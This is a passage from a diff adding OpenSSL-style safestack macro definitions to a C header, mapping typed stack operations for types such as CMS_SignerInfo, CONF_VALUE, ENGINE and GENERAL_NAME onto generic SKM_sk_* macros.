SKM_sk_set_cmp_func(CMS_RecipientInfo, (st), (cmp)) +#define sk_CMS_RecipientInfo_dup(st) SKM_sk_dup(CMS_RecipientInfo, st) +#define sk_CMS_RecipientInfo_pop_free(st, free_func) SKM_sk_pop_free(CMS_RecipientInfo, (st), (free_func)) +#define sk_CMS_RecipientInfo_shift(st) SKM_sk_shift(CMS_RecipientInfo, (st)) +#define sk_CMS_RecipientInfo_pop(st) SKM_sk_pop(CMS_RecipientInfo, (st)) +#define sk_CMS_RecipientInfo_sort(st) SKM_sk_sort(CMS_RecipientInfo, (st)) +#define sk_CMS_RecipientInfo_is_sorted(st) SKM_sk_is_sorted(CMS_RecipientInfo, (st)) + +#define sk_CMS_RevocationInfoChoice_new(st) SKM_sk_new(CMS_RevocationInfoChoice, (st)) +#define sk_CMS_RevocationInfoChoice_new_null() SKM_sk_new_null(CMS_RevocationInfoChoice) +#define sk_CMS_RevocationInfoChoice_free(st) SKM_sk_free(CMS_RevocationInfoChoice, (st)) +#define sk_CMS_RevocationInfoChoice_num(st) SKM_sk_num(CMS_RevocationInfoChoice, (st)) +#define sk_CMS_RevocationInfoChoice_value(st, i) SKM_sk_value(CMS_RevocationInfoChoice, (st), (i)) +#define sk_CMS_RevocationInfoChoice_set(st, i, val) SKM_sk_set(CMS_RevocationInfoChoice, (st), (i), (val)) +#define sk_CMS_RevocationInfoChoice_zero(st) SKM_sk_zero(CMS_RevocationInfoChoice, (st)) +#define sk_CMS_RevocationInfoChoice_push(st, val) SKM_sk_push(CMS_RevocationInfoChoice, (st), (val)) +#define sk_CMS_RevocationInfoChoice_unshift(st, val) SKM_sk_unshift(CMS_RevocationInfoChoice, (st), (val)) +#define sk_CMS_RevocationInfoChoice_find(st, val) SKM_sk_find(CMS_RevocationInfoChoice, (st), (val)) +#define sk_CMS_RevocationInfoChoice_find_ex(st, val) SKM_sk_find_ex(CMS_RevocationInfoChoice, (st), (val)) +#define sk_CMS_RevocationInfoChoice_delete(st, i) SKM_sk_delete(CMS_RevocationInfoChoice, (st), (i)) +#define sk_CMS_RevocationInfoChoice_delete_ptr(st, ptr) SKM_sk_delete_ptr(CMS_RevocationInfoChoice, (st), (ptr)) +#define sk_CMS_RevocationInfoChoice_insert(st, val, i) SKM_sk_insert(CMS_RevocationInfoChoice, (st), (val), (i)) +#define sk_CMS_RevocationInfoChoice_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(CMS_RevocationInfoChoice, (st), (cmp)) +#define sk_CMS_RevocationInfoChoice_dup(st) SKM_sk_dup(CMS_RevocationInfoChoice, st) +#define sk_CMS_RevocationInfoChoice_pop_free(st, free_func) SKM_sk_pop_free(CMS_RevocationInfoChoice, (st), (free_func)) +#define sk_CMS_RevocationInfoChoice_shift(st) SKM_sk_shift(CMS_RevocationInfoChoice, (st)) +#define sk_CMS_RevocationInfoChoice_pop(st) SKM_sk_pop(CMS_RevocationInfoChoice, (st)) +#define sk_CMS_RevocationInfoChoice_sort(st) SKM_sk_sort(CMS_RevocationInfoChoice, (st)) +#define sk_CMS_RevocationInfoChoice_is_sorted(st) SKM_sk_is_sorted(CMS_RevocationInfoChoice, (st)) + +#define sk_CMS_SignerInfo_new(st) SKM_sk_new(CMS_SignerInfo, (st)) +#define sk_CMS_SignerInfo_new_null() SKM_sk_new_null(CMS_SignerInfo) +#define sk_CMS_SignerInfo_free(st) SKM_sk_free(CMS_SignerInfo, (st)) +#define sk_CMS_SignerInfo_num(st) SKM_sk_num(CMS_SignerInfo, (st)) +#define sk_CMS_SignerInfo_value(st, i) SKM_sk_value(CMS_SignerInfo, (st), (i)) +#define sk_CMS_SignerInfo_set(st, i, val) SKM_sk_set(CMS_SignerInfo, (st), (i), (val)) +#define sk_CMS_SignerInfo_zero(st) SKM_sk_zero(CMS_SignerInfo, (st)) +#define sk_CMS_SignerInfo_push(st, val) SKM_sk_push(CMS_SignerInfo, (st), (val)) +#define sk_CMS_SignerInfo_unshift(st, val) SKM_sk_unshift(CMS_SignerInfo, (st), (val)) +#define sk_CMS_SignerInfo_find(st, val) SKM_sk_find(CMS_SignerInfo, (st), (val)) +#define sk_CMS_SignerInfo_find_ex(st, val) SKM_sk_find_ex(CMS_SignerInfo, (st), (val)) +#define sk_CMS_SignerInfo_delete(st, i) SKM_sk_delete(CMS_SignerInfo, (st), (i)) +#define sk_CMS_SignerInfo_delete_ptr(st, ptr) SKM_sk_delete_ptr(CMS_SignerInfo, (st), (ptr)) +#define sk_CMS_SignerInfo_insert(st, val, i) SKM_sk_insert(CMS_SignerInfo, (st), (val), (i)) +#define sk_CMS_SignerInfo_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(CMS_SignerInfo, (st), (cmp)) +#define sk_CMS_SignerInfo_dup(st) SKM_sk_dup(CMS_SignerInfo, st) +#define sk_CMS_SignerInfo_pop_free(st, free_func) SKM_sk_pop_free(CMS_SignerInfo, (st), (free_func)) +#define sk_CMS_SignerInfo_shift(st) SKM_sk_shift(CMS_SignerInfo, (st)) +#define sk_CMS_SignerInfo_pop(st) SKM_sk_pop(CMS_SignerInfo, (st)) +#define sk_CMS_SignerInfo_sort(st) SKM_sk_sort(CMS_SignerInfo, (st)) +#define sk_CMS_SignerInfo_is_sorted(st) SKM_sk_is_sorted(CMS_SignerInfo, (st)) + +#define sk_CONF_IMODULE_new(st) SKM_sk_new(CONF_IMODULE, (st)) +#define sk_CONF_IMODULE_new_null() SKM_sk_new_null(CONF_IMODULE) +#define sk_CONF_IMODULE_free(st) SKM_sk_free(CONF_IMODULE, (st)) +#define sk_CONF_IMODULE_num(st) SKM_sk_num(CONF_IMODULE, (st)) +#define sk_CONF_IMODULE_value(st, i) SKM_sk_value(CONF_IMODULE, (st), (i)) +#define sk_CONF_IMODULE_set(st, i, val) SKM_sk_set(CONF_IMODULE, (st), (i), (val)) +#define sk_CONF_IMODULE_zero(st) SKM_sk_zero(CONF_IMODULE, (st)) +#define sk_CONF_IMODULE_push(st, val) SKM_sk_push(CONF_IMODULE, (st), (val)) +#define sk_CONF_IMODULE_unshift(st, val) SKM_sk_unshift(CONF_IMODULE, (st), (val)) +#define sk_CONF_IMODULE_find(st, val) SKM_sk_find(CONF_IMODULE, (st), (val)) +#define sk_CONF_IMODULE_find_ex(st, val) SKM_sk_find_ex(CONF_IMODULE, (st), (val)) +#define sk_CONF_IMODULE_delete(st, i) SKM_sk_delete(CONF_IMODULE, (st), (i)) +#define sk_CONF_IMODULE_delete_ptr(st, ptr) SKM_sk_delete_ptr(CONF_IMODULE, (st), (ptr)) +#define sk_CONF_IMODULE_insert(st, val, i) SKM_sk_insert(CONF_IMODULE, (st), (val), (i)) +#define sk_CONF_IMODULE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(CONF_IMODULE, (st), (cmp)) +#define sk_CONF_IMODULE_dup(st) SKM_sk_dup(CONF_IMODULE, st) +#define sk_CONF_IMODULE_pop_free(st, free_func) SKM_sk_pop_free(CONF_IMODULE, (st), (free_func)) +#define sk_CONF_IMODULE_shift(st) SKM_sk_shift(CONF_IMODULE, (st)) +#define sk_CONF_IMODULE_pop(st) SKM_sk_pop(CONF_IMODULE, (st)) +#define sk_CONF_IMODULE_sort(st) SKM_sk_sort(CONF_IMODULE, (st)) +#define sk_CONF_IMODULE_is_sorted(st) SKM_sk_is_sorted(CONF_IMODULE, (st)) + +#define sk_CONF_MODULE_new(st) SKM_sk_new(CONF_MODULE, (st)) +#define sk_CONF_MODULE_new_null() SKM_sk_new_null(CONF_MODULE) +#define sk_CONF_MODULE_free(st) SKM_sk_free(CONF_MODULE, (st)) +#define sk_CONF_MODULE_num(st) SKM_sk_num(CONF_MODULE, (st)) +#define sk_CONF_MODULE_value(st, i) SKM_sk_value(CONF_MODULE, (st), (i)) +#define sk_CONF_MODULE_set(st, i, val) SKM_sk_set(CONF_MODULE, (st), (i), (val)) +#define sk_CONF_MODULE_zero(st) SKM_sk_zero(CONF_MODULE, (st)) +#define sk_CONF_MODULE_push(st, val) SKM_sk_push(CONF_MODULE, (st), (val)) +#define sk_CONF_MODULE_unshift(st, val) SKM_sk_unshift(CONF_MODULE, (st), (val)) +#define sk_CONF_MODULE_find(st, val) SKM_sk_find(CONF_MODULE, (st), (val)) +#define sk_CONF_MODULE_find_ex(st, val) SKM_sk_find_ex(CONF_MODULE, (st), (val)) +#define sk_CONF_MODULE_delete(st, i) SKM_sk_delete(CONF_MODULE, (st), (i)) +#define sk_CONF_MODULE_delete_ptr(st, ptr) SKM_sk_delete_ptr(CONF_MODULE, (st), (ptr)) +#define sk_CONF_MODULE_insert(st, val, i) SKM_sk_insert(CONF_MODULE, (st), (val), (i)) +#define sk_CONF_MODULE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(CONF_MODULE, (st), (cmp)) +#define sk_CONF_MODULE_dup(st) SKM_sk_dup(CONF_MODULE, st) +#define sk_CONF_MODULE_pop_free(st, free_func) SKM_sk_pop_free(CONF_MODULE, (st), (free_func)) +#define sk_CONF_MODULE_shift(st) SKM_sk_shift(CONF_MODULE, (st)) +#define sk_CONF_MODULE_pop(st) SKM_sk_pop(CONF_MODULE, (st)) +#define sk_CONF_MODULE_sort(st) SKM_sk_sort(CONF_MODULE, (st)) +#define sk_CONF_MODULE_is_sorted(st) SKM_sk_is_sorted(CONF_MODULE, (st)) + +#define sk_CONF_VALUE_new(st) SKM_sk_new(CONF_VALUE, (st)) +#define sk_CONF_VALUE_new_null() SKM_sk_new_null(CONF_VALUE) +#define sk_CONF_VALUE_free(st) SKM_sk_free(CONF_VALUE, (st)) +#define sk_CONF_VALUE_num(st) SKM_sk_num(CONF_VALUE, (st)) +#define sk_CONF_VALUE_value(st, i) SKM_sk_value(CONF_VALUE, (st), (i)) +#define sk_CONF_VALUE_set(st, i, val) SKM_sk_set(CONF_VALUE, (st), (i), (val)) +#define sk_CONF_VALUE_zero(st) SKM_sk_zero(CONF_VALUE, (st)) +#define sk_CONF_VALUE_push(st, val) SKM_sk_push(CONF_VALUE, (st), (val)) +#define sk_CONF_VALUE_unshift(st, val) SKM_sk_unshift(CONF_VALUE, (st), (val)) +#define sk_CONF_VALUE_find(st, val) SKM_sk_find(CONF_VALUE, (st), (val)) +#define sk_CONF_VALUE_find_ex(st, val) SKM_sk_find_ex(CONF_VALUE, (st), (val)) +#define sk_CONF_VALUE_delete(st, i) SKM_sk_delete(CONF_VALUE, (st), (i)) +#define sk_CONF_VALUE_delete_ptr(st, ptr) SKM_sk_delete_ptr(CONF_VALUE, (st), (ptr)) +#define sk_CONF_VALUE_insert(st, val, i) SKM_sk_insert(CONF_VALUE, (st), (val), (i)) +#define sk_CONF_VALUE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(CONF_VALUE, (st), (cmp)) +#define sk_CONF_VALUE_dup(st) SKM_sk_dup(CONF_VALUE, st) +#define sk_CONF_VALUE_pop_free(st, free_func) SKM_sk_pop_free(CONF_VALUE, (st), (free_func)) +#define sk_CONF_VALUE_shift(st) SKM_sk_shift(CONF_VALUE, (st)) +#define sk_CONF_VALUE_pop(st) SKM_sk_pop(CONF_VALUE, (st)) +#define sk_CONF_VALUE_sort(st) SKM_sk_sort(CONF_VALUE, (st)) +#define sk_CONF_VALUE_is_sorted(st) SKM_sk_is_sorted(CONF_VALUE, (st)) + +#define sk_CRYPTO_EX_DATA_FUNCS_new(st) SKM_sk_new(CRYPTO_EX_DATA_FUNCS, (st)) +#define sk_CRYPTO_EX_DATA_FUNCS_new_null() SKM_sk_new_null(CRYPTO_EX_DATA_FUNCS) +#define sk_CRYPTO_EX_DATA_FUNCS_free(st) SKM_sk_free(CRYPTO_EX_DATA_FUNCS, (st)) +#define sk_CRYPTO_EX_DATA_FUNCS_num(st) SKM_sk_num(CRYPTO_EX_DATA_FUNCS, (st)) +#define sk_CRYPTO_EX_DATA_FUNCS_value(st, i) SKM_sk_value(CRYPTO_EX_DATA_FUNCS, (st), (i)) +#define sk_CRYPTO_EX_DATA_FUNCS_set(st, i, val) SKM_sk_set(CRYPTO_EX_DATA_FUNCS, (st), (i), (val)) +#define sk_CRYPTO_EX_DATA_FUNCS_zero(st) SKM_sk_zero(CRYPTO_EX_DATA_FUNCS, (st)) +#define sk_CRYPTO_EX_DATA_FUNCS_push(st, val) SKM_sk_push(CRYPTO_EX_DATA_FUNCS, (st), (val)) +#define sk_CRYPTO_EX_DATA_FUNCS_unshift(st, val) SKM_sk_unshift(CRYPTO_EX_DATA_FUNCS, (st), (val)) +#define sk_CRYPTO_EX_DATA_FUNCS_find(st, val) SKM_sk_find(CRYPTO_EX_DATA_FUNCS, (st), (val)) +#define sk_CRYPTO_EX_DATA_FUNCS_find_ex(st, val) SKM_sk_find_ex(CRYPTO_EX_DATA_FUNCS, (st), (val)) +#define sk_CRYPTO_EX_DATA_FUNCS_delete(st, i) SKM_sk_delete(CRYPTO_EX_DATA_FUNCS, (st), (i)) +#define sk_CRYPTO_EX_DATA_FUNCS_delete_ptr(st, ptr) SKM_sk_delete_ptr(CRYPTO_EX_DATA_FUNCS, (st), (ptr)) +#define sk_CRYPTO_EX_DATA_FUNCS_insert(st, val, i) SKM_sk_insert(CRYPTO_EX_DATA_FUNCS, (st), (val), (i)) +#define sk_CRYPTO_EX_DATA_FUNCS_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(CRYPTO_EX_DATA_FUNCS, (st), (cmp)) +#define sk_CRYPTO_EX_DATA_FUNCS_dup(st) SKM_sk_dup(CRYPTO_EX_DATA_FUNCS, st) +#define sk_CRYPTO_EX_DATA_FUNCS_pop_free(st, free_func) SKM_sk_pop_free(CRYPTO_EX_DATA_FUNCS, (st), (free_func)) +#define sk_CRYPTO_EX_DATA_FUNCS_shift(st) SKM_sk_shift(CRYPTO_EX_DATA_FUNCS, (st)) +#define sk_CRYPTO_EX_DATA_FUNCS_pop(st) SKM_sk_pop(CRYPTO_EX_DATA_FUNCS, (st)) +#define sk_CRYPTO_EX_DATA_FUNCS_sort(st) SKM_sk_sort(CRYPTO_EX_DATA_FUNCS, (st)) +#define sk_CRYPTO_EX_DATA_FUNCS_is_sorted(st) SKM_sk_is_sorted(CRYPTO_EX_DATA_FUNCS, (st)) + +#define sk_CRYPTO_dynlock_new(st) SKM_sk_new(CRYPTO_dynlock, (st)) +#define sk_CRYPTO_dynlock_new_null() SKM_sk_new_null(CRYPTO_dynlock) +#define sk_CRYPTO_dynlock_free(st) SKM_sk_free(CRYPTO_dynlock, (st)) +#define sk_CRYPTO_dynlock_num(st) SKM_sk_num(CRYPTO_dynlock, (st)) +#define sk_CRYPTO_dynlock_value(st, i) SKM_sk_value(CRYPTO_dynlock, (st), (i)) +#define sk_CRYPTO_dynlock_set(st, i, val) SKM_sk_set(CRYPTO_dynlock, (st), (i), (val)) +#define sk_CRYPTO_dynlock_zero(st) SKM_sk_zero(CRYPTO_dynlock, (st)) +#define sk_CRYPTO_dynlock_push(st, val) SKM_sk_push(CRYPTO_dynlock, (st), (val)) +#define sk_CRYPTO_dynlock_unshift(st, val) SKM_sk_unshift(CRYPTO_dynlock, (st), (val)) +#define sk_CRYPTO_dynlock_find(st, val) SKM_sk_find(CRYPTO_dynlock, (st), (val)) +#define sk_CRYPTO_dynlock_find_ex(st, val) SKM_sk_find_ex(CRYPTO_dynlock, (st), (val)) +#define sk_CRYPTO_dynlock_delete(st, i) SKM_sk_delete(CRYPTO_dynlock, (st), (i)) +#define sk_CRYPTO_dynlock_delete_ptr(st, ptr) SKM_sk_delete_ptr(CRYPTO_dynlock, (st), (ptr)) +#define sk_CRYPTO_dynlock_insert(st, val, i) SKM_sk_insert(CRYPTO_dynlock, (st), (val), (i)) +#define sk_CRYPTO_dynlock_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(CRYPTO_dynlock, (st), (cmp)) +#define sk_CRYPTO_dynlock_dup(st) SKM_sk_dup(CRYPTO_dynlock, st) +#define sk_CRYPTO_dynlock_pop_free(st, free_func) SKM_sk_pop_free(CRYPTO_dynlock, (st), (free_func)) +#define sk_CRYPTO_dynlock_shift(st) SKM_sk_shift(CRYPTO_dynlock, (st)) +#define sk_CRYPTO_dynlock_pop(st) SKM_sk_pop(CRYPTO_dynlock, (st)) +#define sk_CRYPTO_dynlock_sort(st) SKM_sk_sort(CRYPTO_dynlock, (st)) +#define sk_CRYPTO_dynlock_is_sorted(st) SKM_sk_is_sorted(CRYPTO_dynlock, (st)) + +#define sk_DIST_POINT_new(st) SKM_sk_new(DIST_POINT, (st)) +#define sk_DIST_POINT_new_null() SKM_sk_new_null(DIST_POINT) +#define sk_DIST_POINT_free(st) SKM_sk_free(DIST_POINT, (st)) +#define sk_DIST_POINT_num(st) SKM_sk_num(DIST_POINT, (st)) +#define sk_DIST_POINT_value(st, i) SKM_sk_value(DIST_POINT, (st), (i)) +#define sk_DIST_POINT_set(st, i, val) SKM_sk_set(DIST_POINT, (st), (i), (val)) +#define sk_DIST_POINT_zero(st) SKM_sk_zero(DIST_POINT, (st)) +#define sk_DIST_POINT_push(st, val) SKM_sk_push(DIST_POINT, (st), (val)) +#define sk_DIST_POINT_unshift(st, val) SKM_sk_unshift(DIST_POINT, (st), (val)) +#define sk_DIST_POINT_find(st, val) SKM_sk_find(DIST_POINT, (st), (val)) +#define sk_DIST_POINT_find_ex(st, val) SKM_sk_find_ex(DIST_POINT, (st), (val)) +#define sk_DIST_POINT_delete(st, i) SKM_sk_delete(DIST_POINT, (st), (i)) +#define sk_DIST_POINT_delete_ptr(st, ptr) SKM_sk_delete_ptr(DIST_POINT, (st), (ptr)) +#define sk_DIST_POINT_insert(st, val, i) SKM_sk_insert(DIST_POINT, (st), (val), (i)) +#define sk_DIST_POINT_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(DIST_POINT, (st), (cmp)) +#define sk_DIST_POINT_dup(st) SKM_sk_dup(DIST_POINT, st) +#define sk_DIST_POINT_pop_free(st, free_func) SKM_sk_pop_free(DIST_POINT, (st), (free_func)) +#define sk_DIST_POINT_shift(st) SKM_sk_shift(DIST_POINT, (st)) +#define sk_DIST_POINT_pop(st) SKM_sk_pop(DIST_POINT, (st)) +#define sk_DIST_POINT_sort(st) SKM_sk_sort(DIST_POINT, (st)) +#define sk_DIST_POINT_is_sorted(st) SKM_sk_is_sorted(DIST_POINT, (st)) + +#define sk_ENGINE_new(st) SKM_sk_new(ENGINE, (st)) +#define sk_ENGINE_new_null() SKM_sk_new_null(ENGINE) +#define sk_ENGINE_free(st) SKM_sk_free(ENGINE, (st)) +#define sk_ENGINE_num(st) SKM_sk_num(ENGINE, (st)) +#define sk_ENGINE_value(st, i) SKM_sk_value(ENGINE, (st), (i)) +#define sk_ENGINE_set(st, i, val) SKM_sk_set(ENGINE, (st), (i), (val)) +#define sk_ENGINE_zero(st) SKM_sk_zero(ENGINE, (st)) +#define sk_ENGINE_push(st, val) SKM_sk_push(ENGINE, (st), (val)) +#define sk_ENGINE_unshift(st, val) SKM_sk_unshift(ENGINE, (st), (val)) +#define sk_ENGINE_find(st, val) SKM_sk_find(ENGINE, (st), (val)) +#define sk_ENGINE_find_ex(st, val) SKM_sk_find_ex(ENGINE, (st), (val)) +#define sk_ENGINE_delete(st, i) SKM_sk_delete(ENGINE, (st), (i)) +#define sk_ENGINE_delete_ptr(st, ptr) SKM_sk_delete_ptr(ENGINE, (st), (ptr)) +#define sk_ENGINE_insert(st, val, i) SKM_sk_insert(ENGINE, (st), (val), (i)) +#define sk_ENGINE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(ENGINE, (st), (cmp)) +#define sk_ENGINE_dup(st) SKM_sk_dup(ENGINE, st) +#define sk_ENGINE_pop_free(st, free_func) SKM_sk_pop_free(ENGINE, (st), (free_func)) +#define sk_ENGINE_shift(st) SKM_sk_shift(ENGINE, (st)) +#define sk_ENGINE_pop(st) SKM_sk_pop(ENGINE, (st)) +#define sk_ENGINE_sort(st) SKM_sk_sort(ENGINE, (st)) +#define sk_ENGINE_is_sorted(st) SKM_sk_is_sorted(ENGINE, (st)) + +#define sk_ENGINE_CLEANUP_ITEM_new(st) SKM_sk_new(ENGINE_CLEANUP_ITEM, (st)) +#define sk_ENGINE_CLEANUP_ITEM_new_null() SKM_sk_new_null(ENGINE_CLEANUP_ITEM) +#define sk_ENGINE_CLEANUP_ITEM_free(st) SKM_sk_free(ENGINE_CLEANUP_ITEM, (st)) +#define sk_ENGINE_CLEANUP_ITEM_num(st) SKM_sk_num(ENGINE_CLEANUP_ITEM, (st)) +#define sk_ENGINE_CLEANUP_ITEM_value(st, i) SKM_sk_value(ENGINE_CLEANUP_ITEM, (st), (i)) +#define sk_ENGINE_CLEANUP_ITEM_set(st, i, val) SKM_sk_set(ENGINE_CLEANUP_ITEM, (st), (i), (val)) +#define sk_ENGINE_CLEANUP_ITEM_zero(st) SKM_sk_zero(ENGINE_CLEANUP_ITEM, (st)) +#define sk_ENGINE_CLEANUP_ITEM_push(st, val) SKM_sk_push(ENGINE_CLEANUP_ITEM, (st), (val)) +#define sk_ENGINE_CLEANUP_ITEM_unshift(st, val) SKM_sk_unshift(ENGINE_CLEANUP_ITEM, (st), (val)) +#define sk_ENGINE_CLEANUP_ITEM_find(st, val) SKM_sk_find(ENGINE_CLEANUP_ITEM, (st), (val)) +#define sk_ENGINE_CLEANUP_ITEM_find_ex(st, val) SKM_sk_find_ex(ENGINE_CLEANUP_ITEM, (st), (val)) +#define sk_ENGINE_CLEANUP_ITEM_delete(st, i) SKM_sk_delete(ENGINE_CLEANUP_ITEM, (st), (i)) +#define sk_ENGINE_CLEANUP_ITEM_delete_ptr(st, ptr) SKM_sk_delete_ptr(ENGINE_CLEANUP_ITEM, (st), (ptr)) +#define sk_ENGINE_CLEANUP_ITEM_insert(st, val, i) SKM_sk_insert(ENGINE_CLEANUP_ITEM, (st), (val), (i)) +#define sk_ENGINE_CLEANUP_ITEM_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(ENGINE_CLEANUP_ITEM, (st), (cmp)) +#define sk_ENGINE_CLEANUP_ITEM_dup(st) SKM_sk_dup(ENGINE_CLEANUP_ITEM, st) +#define sk_ENGINE_CLEANUP_ITEM_pop_free(st, free_func) SKM_sk_pop_free(ENGINE_CLEANUP_ITEM, (st), (free_func)) +#define sk_ENGINE_CLEANUP_ITEM_shift(st) SKM_sk_shift(ENGINE_CLEANUP_ITEM, (st)) +#define sk_ENGINE_CLEANUP_ITEM_pop(st) SKM_sk_pop(ENGINE_CLEANUP_ITEM, (st)) +#define sk_ENGINE_CLEANUP_ITEM_sort(st) SKM_sk_sort(ENGINE_CLEANUP_ITEM, (st)) +#define sk_ENGINE_CLEANUP_ITEM_is_sorted(st) SKM_sk_is_sorted(ENGINE_CLEANUP_ITEM, (st)) + +#define sk_GENERAL_NAME_new(st) SKM_sk_new(GENERAL_NAME, (st)) +#define sk_GENERAL_NAME_new_null() SKM_sk_new_null(GENERAL_NAME) +#define sk_GENERAL_NAME_free(st) SKM_sk_free(GENERAL_NAME, (st)) +#define sk_GENERAL_NAME_num(st) SKM_sk_num(GENERAL_NAME, (st)) +#define sk_GENERAL_NAME_value(st, i) SKM_sk_value(GENERAL_NAME, (st), (i)) +#define sk_GENERAL_NAME_set(st, i, val) SKM_sk_set(GENERAL_NAME, (st), (i), (val)) +#define sk_GENERAL_NAME_zero(st) SKM_sk_zero(GENERAL_NAME, (st)) +#define sk_GENERAL_NAME_push(st, val) SKM_sk_push(GENERAL_NAME, (st), (val)) +#define sk_GENERAL_NAME_unshift(st, val) SKM_sk_unshift(GENERAL_NAME, (st), (val)) +#define sk_GENERAL_NAME_find(st, val) SKM_sk_find(GENERAL_NAME, (st), (val)) +#define sk_GENERAL_NAME_find_ex(st, val) SKM_sk_find_ex(GENERAL_NAME, (st), (val)) +#define sk_GENERAL_NAME_delete(st, i) SKM_sk_delete(GENERAL_NAME, (st), (i)) +#define sk_GENERAL_NAME_delete_ptr(st, ptr) SKM_sk_delete_ptr(GENERAL_NAME, (st), (ptr)) +#define sk_GENERAL_NAME_insert(st, val, i) SKM_sk_insert(GENERAL_NAME, (st), (val), (i)) +#define sk_GENERAL_NAME_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(GENERAL_NAME, (st), (cmp)) +#define sk_GENERAL_NAME_dup(st) SKM_sk_dup(GENERAL_NAME, st) +#define sk_GENERAL_NAME_pop_free(st, free_func) SKM_sk_pop_free(GENERAL_NAME, (st), (free_func)) +#define sk_GENERAL_NAME_shift(st) SKM_sk_shift(GENERAL_NAME, (st)) +#define sk_GENERAL_NAME_pop(st) SKM_sk_pop(GENERAL_NAME, (st)) +#define sk_GENERAL_NAME_sort(st) SKM_sk_sort(GENERAL_NAME, (st)) +#define sk_GENERAL_NAME_is_sorted(st) SKM_sk_is_sorted(GENERAL_NAME, (st)) + +#define sk_GENERAL_NAMES_new(st) SKM_sk_new(GENERAL_NAMES, (st)) +#define sk_GENERAL_NAMES_new_null() SKM_sk_new_null(GENERAL_NAMES) +#define sk_GENERAL_NAMES_free(st) SKM_sk_free(GENERAL_NAMES, (st)) +#define sk_GENERAL_NAMES_num(st) SKM_sk_num(GENERAL_NAMES, (st)) +#define sk_GENERAL_NAMES_value(st, i) SKM_sk_value(GENERAL_NAMES, (st), (i)) +#define sk_GENERAL_NAMES_set(st, i, val) SKM_sk_set(GENERAL_NAMES, (st), (i), (val)) +#define sk_GENERAL_NAMES_zero(st) SKM_sk_zero(GENERAL_NAMES, (st)) +#define sk_GENERAL_NAMES_push(st, val) SKM_sk_push(GENERAL_NAMES, (st), (val)) +#define sk_GENERAL_NAMES_unshift(st, val) SKM_sk_unshift(GENERAL_NAMES, (st), (val)) +#define sk_GENERAL_NAMES_find(st, val) SKM_sk_find(GENERAL_NAMES, (st), (val)) +#define sk_GENERAL_NAMES_find_ex(st, val) SKM_sk_find_ex(GENERAL_NAMES, (st), (val)) +#define sk_GENERAL_NAMES_delete(st, i) SKM_sk_delete(GENERAL_NAMES, (st), (i)) +#define sk_GENERAL_NAMES_delete_ptr(st, ptr) SKM_sk_delete_ptr(GENERAL_NAMES, (st), (ptr)) +#define sk_GENERAL_NAMES_insert(st, val, i) SKM_sk_insert(GENERAL_NAMES, (st), (val), (i)) +#define sk_GENERAL_NAMES_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(GENERAL_NAMES, (st), (cmp)) +#define sk_GENERAL_NAMES_dup(st) SKM_sk_dup(GENERAL_NAMES, st) +#define sk_GENERAL_NAMES_pop_free(st, free_func) SKM_sk_pop_free(GENERAL_NAMES, (st), (free_func)) +#define sk_GENERAL_NAMES_shift(st) SKM_sk_shift(GENERAL_NAMES, (st)) +#define sk_GENERAL_NAMES_pop(st) SKM_sk_pop(GENERAL_NAMES, (st)) +#define sk_GENERAL_NAMES_sort(st) SKM_sk_sort(GENERAL_NAMES, (st)) +#define sk_GENERAL_NAMES_is_sorted(st) SKM_sk_is_sorted(GENERAL_NAMES, (st)) + +#define sk_GENERAL_SUBTREE_new(st) SKM_sk_new(GENERAL_SUBTREE, (st)) +#define sk_GENERAL_SUBTREE_new_null() SKM_sk_new_null(GENERAL_SUBTREE) +#define sk_GENERAL_SUBTREE_free(st) SKM_sk_free(GENERAL_SUBTREE, (st)) +#define sk_GENERAL_SUBTREE_num(st) SKM_sk_num(GENERAL_SUBTREE, (st)) +#define sk_GENERAL_SUBTREE_value(st, i) SKM_sk_value(GENERAL_SUBTREE, (st), (i)) +#define sk_GENERAL_SUBTREE_set(st, i, val) SKM_sk_set(GENERAL_SUBTREE, (st), (i), (val)) +#define sk_GENERAL_SUBTREE_zero(st) SKM_sk_zero(GENERAL_SUBTREE, (st)) +#define sk_GENERAL_SUBTREE_push(st, val) SKM_sk_push(GENERAL_SUBTREE, (st), (val)) +#define sk_GENERAL_SUBTREE_unshift(st, val) SKM_sk_unshift(GENERAL_SUBTREE, (st), (val)) +#define sk_GENERAL_SUBTREE_find(st, val) SKM_sk_find(GENERAL_SUBTREE, (st), (val)) +#define sk_GENERAL_SUBTREE_find_ex(st, val) SKM_sk_find_ex(GENERAL_SUBTREE, (st), (val)) +#define sk_GENERAL_SUBTREE_delete(st, i) SKM_sk_delete(GENERAL_SUBTREE, (st), (i)) +#define sk_GENERAL_SUBTREE_delete_ptr(st, ptr) SKM_sk_delete_ptr(GENERAL_SUBTREE, (st), (ptr)) +#define sk_GENERAL_SUBTREE_insert(st, val, i) SKM_sk_insert(GENERAL_SUBTREE, (st), (val), (i)) +#define sk_GENERAL_SUBTREE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(GENERAL_SUBTREE, (st), (cmp)) +#define sk_GENERAL_SUBTREE_dup(st) SKM_sk_dup(GENERAL_SUBTREE, st) +#define sk_GENERAL_SUBTREE_pop_free(st, free_func) SKM_sk_pop_free(GENERAL_SUBTREE, (st), (free_func)) +#define sk_GENERAL_SUBTREE_shift(st) SKM_sk_shift(GENERAL_SUBTREE, (st)) +#define sk_GENERAL_SUBTREE_pop(st) SKM_sk_pop(GENERAL_SUBTREE, (st)) +#define sk_GENERAL_SUBTREE_sort(st) SKM_sk_sort(GENERAL_SUBTREE, (st)) +#define sk_GENERAL_SUBTREE_is_sorted(st) SKM_sk_is_sorted(GENERAL_SUBTREE, (st)) + +#define sk_IPAddressFamily_new(st) SKM_sk_new(IPAddressFamily, (st)) +#define sk_IPAddressFamily_new_null() SKM_sk_new_null(IPAddressFamily) +#define sk_IPAddressFamily_free(st) SKM_sk_free(IPAddressFamily, (st)) +#define sk_IPAddressFamily_num(st) SKM_sk_num(IPAddressFamily, (st)) +#define sk_IPAddressFamily_value(st, i) SKM_sk_value(IPAddressFamily, (st), (i)) +#define sk_IPAddressFamily_set(st, i, val) 